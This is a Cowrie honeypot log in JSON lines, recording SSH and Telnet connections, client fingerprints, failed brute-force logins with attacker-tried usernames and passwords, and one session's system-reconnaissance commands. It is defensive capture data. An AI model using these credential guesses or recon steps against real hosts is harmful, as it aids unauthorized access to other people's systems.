{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:01.139041Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:01.143056Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:01.349388Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:01.815202Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:01.819656Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:02.045503Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:02.533530Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:02.539764Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:02.749750Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:03.240507Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:03.244513Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:03.459195Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:03.472900Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40000,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c065a27e36d","protocol":"ssh","message":"New connection: 193.32.162.145:40000 (159.203.135.109:22) [session: 9c065a27e36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:15.325140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:15.331074Z","src_ip":"193.32.162.145","session":"9c065a27e36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:15.464013Z","src_ip":"193.32.162.145","session":"9c065a27e36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:15.792373Z","src_ip":"193.32.162.145","session":"9c065a27e36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:16.900779Z","src_ip":"193.32.162.145","session":"9c065a27e36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00930905342102,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:23.851270Z","src_ip":"180.235.129.180","session":"a2b6b54e0e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":59808,"dst_ip":"10.17.0.5","dst_port":22,"session":"b02365c970cc","protocol":"ssh","message":"New connection: 94.26.106.139:59808 (10.17.0.5:22) [session: b02365c970cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:30.821492Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:30.830123Z","src_ip":"94.26.106.139","session":"b02365c970cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":59824,"dst_ip":"10.17.0.5","dst_port":22,"session":"f077c854e036","protocol":"ssh","message":"New connection: 94.26.106.139:59824 (10.17.0.5:22) [session: f077c854e036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:31.002387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:31.007066Z","src_ip":"94.26.106.139","session":"f077c854e036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:31.093097Z","src_ip":"94.26.106.139","session":"f077c854e036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orangepi","password":"hello","message":"login attempt [orangepi/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:31.268315Z","src_ip":"94.26.106.139","session":"f077c854e036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:31:32.357818Z","src_ip":"94.26.106.139","session":"f077c854e036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.189.107.13","src_port":10265,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d7a3275f99","protocol":"telnet","message":"New connection: 45.189.107.13:10265 (10.17.0.5:23) [session: a2d7a3275f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:04.129812Z"}
{"eventid":"cowrie.session.closed","duration":13.03355598449707,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:17.163234Z","src_ip":"45.189.107.13","session":"a2d7a3275f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54034,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1946df4e1a","protocol":"ssh","message":"New connection: 193.32.162.145:54034 (159.203.135.109:22) [session: 8f1946df4e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:31.567983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:31.572358Z","src_ip":"193.32.162.145","session":"8f1946df4e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:31.676644Z","src_ip":"193.32.162.145","session":"8f1946df4e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iproyal","message":"login attempt [root/iproyal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:32.025735Z","src_ip":"193.32.162.145","session":"8f1946df4e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:32:33.129780Z","src_ip":"193.32.162.145","session":"8f1946df4e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":51652,"dst_ip":"10.17.0.5","dst_port":22,"session":"064b461a70a7","protocol":"ssh","message":"New connection: 190.244.39.224:51652 (10.17.0.5:22) [session: 064b461a70a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:33:19.729559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:33:19.734782Z","src_ip":"190.244.39.224","session":"064b461a70a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:33:19.929972Z","src_ip":"190.244.39.224","session":"064b461a70a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2020!","message":"login attempt [test/test2020!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:33:20.746642Z","src_ip":"190.244.39.224","session":"064b461a70a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:33:21.946589Z","src_ip":"190.244.39.224","session":"064b461a70a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":6658,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b4054d1fa68","protocol":"ssh","message":"New connection: 113.190.252.123:6658 (159.203.135.109:22) [session: 7b4054d1fa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:35.101393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:35.106403Z","src_ip":"113.190.252.123","session":"7b4054d1fa68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:35.641206Z","src_ip":"113.190.252.123","session":"7b4054d1fa68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:37.207479Z","src_ip":"113.190.252.123","session":"7b4054d1fa68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:38.821881Z","src_ip":"113.190.252.123","session":"7b4054d1fa68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.174.92.75","src_port":47600,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b8f56acb2d8","protocol":"telnet","message":"New connection: 73.174.92.75:47600 (159.203.135.109:23) [session: 6b8f56acb2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:44.596829Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.54.121.240","src_port":37364,"dst_ip":"10.17.0.5","dst_port":23,"session":"d395735a9d16","protocol":"telnet","message":"New connection: 186.54.121.240:37364 (10.17.0.5:23) [session: d395735a9d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:44.919667Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39812,"dst_ip":"159.203.135.109","dst_port":22,"session":"89231d067e39","protocol":"ssh","message":"New connection: 193.32.162.145:39812 (159.203.135.109:22) [session: 89231d067e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:45.538712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:45.543406Z","src_ip":"193.32.162.145","session":"89231d067e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:45.662680Z","src_ip":"193.32.162.145","session":"89231d067e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:45.977569Z","src_ip":"193.32.162.145","session":"89231d067e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:34:47.084631Z","src_ip":"193.32.162.145","session":"89231d067e39","protocol":"ssh"}
